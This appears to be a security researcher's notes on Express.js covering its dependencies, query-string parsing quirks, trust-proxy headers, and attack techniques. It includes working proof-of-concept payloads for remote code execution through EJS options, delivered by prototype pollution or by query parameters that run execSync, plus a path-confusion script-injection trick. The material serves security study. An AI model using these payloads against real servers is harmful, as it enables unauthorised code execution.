Express.js
Express
Express is a minimalist web framework for Node.js which has 31 dependencies.
List of dependencies
- accepts: Return a different typed respond body based on what the client wants to accept.
- array-flatten: Flatten nested arrays (e.g.
flatten([1, [2, 3]])
=>[1, 2, 3]
. - body-parser: HTTP request body parsing middleware (
req.body
property). - content-disposition: Create and parse HTTP
Content-Disposition
header. - content-type: Create and parse HTTP
Content-Type
header. - cookie: Basic HTTP cookie parser and serializer.
- cookie-signature: Sign and unsign cookies.
- debug: JavaScript debugging utility (
debug(...)
,DEBUG='*' node index.js
). - depd: Mark things deprecated.
- encodeurl: Encode a URL to a percent-encoded form, excluding already-encoded sequences.
- escape-html: Escape string for use in HTML (HTML entity, e.g.
&
=>&
). - etag: Generates HTTP ETags in HTTP responses.
- finalhandler: Function to invoke as the final step to respond to HTTP request.
- fresh: Check for caching using
if-none-match
andetag
HTTP headers. - http-errors: Create HTTP errors.
- merge-descriptors: Merge objects using descriptors (call descriptors and merge).
- methods:
- on-finished:
- parseurl:
- path-to-regexp:
- proxy-addr:
- qs:
- range-parser:
- safe-buffer:
- send:
- serve-static:
- setprototypeof:
- statuses:
- type-is:
- utils-merge:
- vary:
Query string parsing
URL | Content of request.query.foo in code |
---|---|
?foo=bar | 'bar' (string) |
?foo=bar&foo=baz | ['bar', 'baz'] (array of string) |
?foo[]=bar | ['bar'] (array of string) |
?foo[]=bar&foo[]=baz | ['bar', 'baz'] (array of string) |
?foo[bar]=baz | { bar : 'baz' } (object with a key) |
?foo[]=bar | ['bar'] (array of string) |
?foo[]baz=bar | ['bar'] (array of string - postfix is lost) |
?foo[][baz]=bar | [ { baz: 'bar' } ] (array of object) |
?foo[bar][baz]=bar | { foo: { bar: { baz: 'bar' } } } (object tree) |
?foo[10]=bar&foo[9]=baz | [ 'baz', 'bar' ] (array of string - notice order) |
?foo[toString]=bar | {} (object where calling toString() will fail) |
Table from OWASP - Node.js Security Cheat Sheet.
Trust proxy
Enabling trust proxy
will have the following impact:
req.hostname
=X-Forwarded-Host
req.protocol
=X-Forwarded-Proto
(https or http or even an invalid name)req.ip
andreq.ips
=X-Forwarded-For
The trust proxy setting is implemented using the proxy-addr package. See docs.
EJS
Embedded JavaScript templates (EJS) is a NodeJS library very often used by Express to create HTML templates.
RCE on render
The following code is inside EJS (lib/ejs.js - v3.1.9). If you control the value of both variables client
and escape
, you can get a RCE.
function Template(text, opts) {
// ...
options.client = opts.client || false;
options.escapeFunction = opts.escape || opts.escapeFunction || utils.escapeXML;
this.opts = options;
// ...
}
Template.prototype = {
// ...
compile: function () {
var opts = this.opts;
var escapeFn = opts.escapeFunction;
if (opts.client) {
src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
}
// ...
// src is evaluated later
}
}
EJS RCE - Proof of Concept
There are two options for controlling these variables.
- Abuse server-side prototype pollution (SSPP)
- Custom parameters to the render function of EJS
1. SSPP
Full article on mizu.re.
TL;DR:
{
"__proto__": {
"client": 1,
"escape": "1;return process.mainModule.require('child_process').execSync('id');"
}
}
2. Custom parameters of render
Inspired from the challenge Peculiar Caterpillar of the FCSC2023.
req.query
will be equal to the options
parameter passed to the render
function of Express
.
require("express")()
.set("view engine", "ejs")
.use((req, res) => {
res.render("index", { ...req.query })
})
.listen(3000);
The render
function of Express
calls the renderFile
function of EJS.
render
=>renderFile
=>...
=>Template.new
=>Template.compile
Here is the code of the renderFile
function of EJS:
var _OPTS_PASSABLE_WITH_DATA = ['delimiter', 'scope', 'context', 'debug', 'compileDebug',
'client', '_with', 'rmWhitespace', 'strict', 'filename', 'async'];
// ...
exports.renderFile = function () {
var args = Array.prototype.slice.call(arguments);
var filename = args.shift(); // arg[0] = PATH of the template
var opts = {filename: filename};
// ...
data = args.shift(); // arg[1] = {
// "settings": env, view engine, etag, ...,
// query string,
// "cache": false
// }
viewOpts = data.settings['view options'];
if (viewOpts) {
utils.shallowCopy(opts, viewOpts);
}
// 'client' is allowed to be copied
utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA_EXPRESS);
// ...
return tryHandleCache(opts, data, cb);
};
The opts
variable is then passed to the Template
object. So, we can get a RCE with the following query string.
?client=1&settings[view options][escape]=1;return+process.mainModule.require("child_process").execSync("id").toString();
This query string is equals to:
{
settings: {
'view options': {
escape: '1;return process.mainModule.require("child_process").execSync("id").toString();'
}
},
client: '1'
}
Base routing
File: main.js
const express = require('express')
const port = 3000;
const app = express()
app.use(
express.static('static', {
index: 'index.html'
})
)
app.use((req, res) => {
res.type('text').send(`Page ${req.path} not found`)
})
app.listen(port, async () => {
console.log(`Listening on http://0.0.0.0:${port}`)
})
File: static/index.html
<html>
<head>
<title>Home</title>
</head>
</body>
<h3>Home</h3>
<script src="index.js"></script>
</body>
</html>
If you visit /example/..%2Findex.html
, your browser will load the JS script index.js
at /example/index.js
.
Similarly, if you visit /1+alert();var[Page]=1//..%2Findex.html
, the browser will load the JS script at /1+alert();var[Page]=1//index.js
. Consequently, the content of the script index.js
will be:
Page /1+alert();var[Page]=1//index.js not found
An alert will be then executed.